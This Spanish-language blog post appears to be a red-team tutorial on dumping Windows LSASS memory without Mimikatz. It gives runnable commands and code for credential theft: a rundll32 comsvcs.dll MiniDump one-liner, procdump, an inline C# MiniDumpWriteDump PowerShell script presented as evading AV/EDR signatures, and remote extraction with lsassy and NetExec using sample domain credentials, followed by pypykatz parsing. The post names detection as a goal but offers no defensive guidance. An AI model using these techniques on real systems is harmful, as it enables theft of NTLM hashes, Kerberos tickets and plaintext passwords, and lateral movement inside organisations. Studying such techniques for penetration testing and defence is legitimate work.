Post

Volcado de LSASS sin Mimikatz: Alternativas Nativas y de Administración

Volcado de LSASS sin Mimikatz: Alternativas Nativas y de Administración

Introducción

En el ámbito de la seguridad ofensiva y el Red Teaming, el acceso a credenciales en memoria sigue siendo uno de los vectores más comunes para lograr el movimiento lateral dentro de un entorno Windows. Históricamente, Mimikatz (desarrollada por Benjamin Delpy) ha sido la herramienta de referencia para extraer credenciales del proceso LSASS (Local Security Authority Subsystem Service).

Sin embargo, en entornos empresariales modernos, las firmas de Mimikatz están altamente controladas por soluciones antivirus, Windows Defender y EDRs. Para entender cómo se protegen y se detectan estas actividades, es fundamental comprender cómo se puede realizar el volcado de memoria de LSASS utilizando herramientas nativas del sistema operativo (LOLBins) o utilidades de administración legítimas, evitando así el uso de herramientas ofensivas conocidas.

¿Qué es LSASS y por qué es crítico?

El Local Security Authority Subsystem Service (lsass.exe) es un proceso del sistema en Windows encargado de la política de seguridad local, la autenticación de usuarios y el inicio de sesión.

Es un objetivo crítico para los atacantes porque aloja en memoria datos de autenticación sumamente sensibles de las cuentas con sesiones activas en el equipo:

  • Hashes NTLM y, en ocasiones, contraseñas en texto claro (proveedores de seguridad como WDigest).
  • Tickets de Kerberos (TGT y TGS).
  • Tokens de acceso de usuarios logueados.

Extraer la memoria de este proceso permite analizarla (comúnmente offline con Mimikatz o herramientas similares) para recuperar estas credenciales y facilitar el movimiento lateral en un dominio.

Requisitos

Para poder realizar con éxito el volcado de memoria de LSASS (independientemente del método manual o nativo que utilicemos), necesitamos cumplir con las siguientes condiciones en el sistema objetivo:

  • Privilegios Elevados: Se requiere ejecutar las herramientas en un contexto de Administrador Local o SYSTEM.
  • SeDebugPrivilege Activo: El proceso que realiza el volcado debe tener habilitado el privilegio de depuración (SeDebugPrivilege) para poder abrir un controlador (handle) hacia lsass.exe.
  • LSA Protection (RunAsPPL) Inactivo: Los métodos convencionales de volcado de memoria asumen que la seguridad de LSA no está configurada como un proceso protegido (RunAsPPL), ya que de lo contrario bloqueará el acceso a nivel de kernel.

Alternativas de volcado de LSASS

1. Windows Task Manager (Administrador de tareas)

Permite generar un volcado completo de memoria de cualquier proceso en ejecución desde la interfaz gráfica de Windows.

Paso a paso:

  1. Abre el Administrador de Tareas (taskmgr.exe) con privilegios de administrador.
  2. Ve a la pestaña Detalles, busca lsass.exe, haz clic derecho y selecciona Crear archivo de volcado.
  3. El archivo .dmp se guardará en la ruta temporal: %TEMP%\lsass.dmp (típicamente C:\Users\<Usuario>\AppData\Local\Temp\lsass.dmp).

Detalle técnico: Internamente, el Administrador de Tareas llama a la función MiniDumpWriteDump exportada por dbghelp.dll para volcar la memoria del proceso objetivo.

th1 th2

Se guarda en dicha ruta, si te diriges hacia ella encontrarás el archivo .DMP.

th3

Posteriormente a esto, se puede transferir el archivo hacia una máquina de ataque kali linux y utilizar herramientas como pypykatz para realizar el dumping.

1
2
┌──(iamwin㉿APTAI)-[~]
└─$ pypykatz lsa minidump lsass.DMP 

th4

2. comsvcs.dll (Process Explorer)

comsvcs.dll es una biblioteca de Windows que contiene varias funciones de diagnóstico, entre ellas una que permite obtener un volcado de memoria de un proceso. Esta biblioteca es utilizada por herramientas legítimas de Microsoft como Process Explorer.

Paso a paso:

1
2
3
4
5
# Obtener el PID del proceso lsass
$lsass = Get-Process lsass

# Realizar el dump utilizando rundll32.exe
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full

Esto hace el dumping en un archivo lsass.dmp en el directorio C:\temp.

th1.2

Realizar el mismo proceso con pypykatz para obtener las credenciales.

3. procdump (Sysinternals)

ProcDump es una herramienta de Sysinternals que se utiliza para volcar la memoria de un proceso.

Paso a paso:

Descarga del .exe

https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

1
.\procdump.exe -accepteula -ma lsass.exe C:\temp\lsass_procdump.dmp

th1.3

4. PowerShell C# Reflection: MiniDumpWriteDump sin binarios externos

Técnica que utiliza la capacidad de PowerShell para compilar código C# en tiempo de ejecución (inline compilation), invocando directamente la función MiniDumpWriteDump de dbghelp.dll vía P/Invoke. No requiere descargar herramientas externas ni dejar artefactos en disco, lo que dificulta su detección por firmas estáticas de AV/EDR.

Paso a paso:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$code = @"
using System;
using System.IO;
using System.Runtime.InteropServices;

public class LsassDump {
    [DllImport("dbghelp.dll")]
    public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, SafeHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    
    public static void Dump() {
        var proc = System.Diagnostics.Process.GetProcessesByName("lsass")[0];
        var file = File.Create("C:\\temp\\lsass_api.dmp");
        MiniDumpWriteDump(proc.Handle, proc.Id, file.SafeFileHandle, 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
        file.Close();
    }
}
"@

Add-Type -TypeDefinition $code
[LsassDump]::Dump()

th1.4

5. Lsassy

Herramienta que permite volcar la memoria de LSASS remotamente a través de SMB, sin necesidad de ejecutar comandos en el sistema objetivo. Utiliza la pipe lsarpc o servicios temporales para extraer la memoria y parsearla automáticamente.

Paso a paso:

1
2
┌──(iamwin㉿APTAI)-[~]
└─$ lsassy -d infrati.local -u Administrador -p 'Administrator123!' 10.10.20.10

th1.5

Lsassy extrae hashes NTLM, SHA1, contraseñas en texto claro, tickets Kerberos (TGT) y masterkeys del dominio, todo de forma remota sin tocar la máquina localmente.

Algo importante de mencionar es que también extrae los tickets de Kerberos en formato .kirbi.

6. NetExec –lsa (Extracción remota de LSA Secrets) (Técnica Complementaria)

Técnica que permite extraer secretos del registro de LSA (Local Security Authority) vía SMB sin necesidad de volcar la memoria de LSASS. A diferencia del volcado de memoria, esta técnica consulta los secretos almacenados en el registro del sistema a través de la pipe lsarpc.

Paso a paso:

1
2
┌──(iamwin㉿APTAI)-[~]
└─$ nxc smb 10.10.20.10 -u Administrador -p 'Administrator123!' --lsa 

th1.6

Extrae machine account hashes, AES keys, DPAPI keys y contraseñas en texto claro del registro. No ejecuta binarios en el sistema objetivo, todo se realiza remotamente por SMB.

Diferencia con lsassy: NetExec –lsa consulta secretos del registro vía RPC, mientras que lsassy vuelca la memoria del proceso LSASS. Ambos son complementarios: uno obtiene secrets del registro, el otro hashes y tickets de la memoria.


Gracias por leer, espero que te sirva. Si tienes alguna duda, sugerencia, corrección o simplemente quieres compartir algo al respecto, tienes mis redes para contactarme.

Frase para finalizar:

“Preferiría tener interrogantes sin respuesta que respuestas indiscutibles.”

Richard Feynman

This post is licensed under CC BY 4.0 by the author.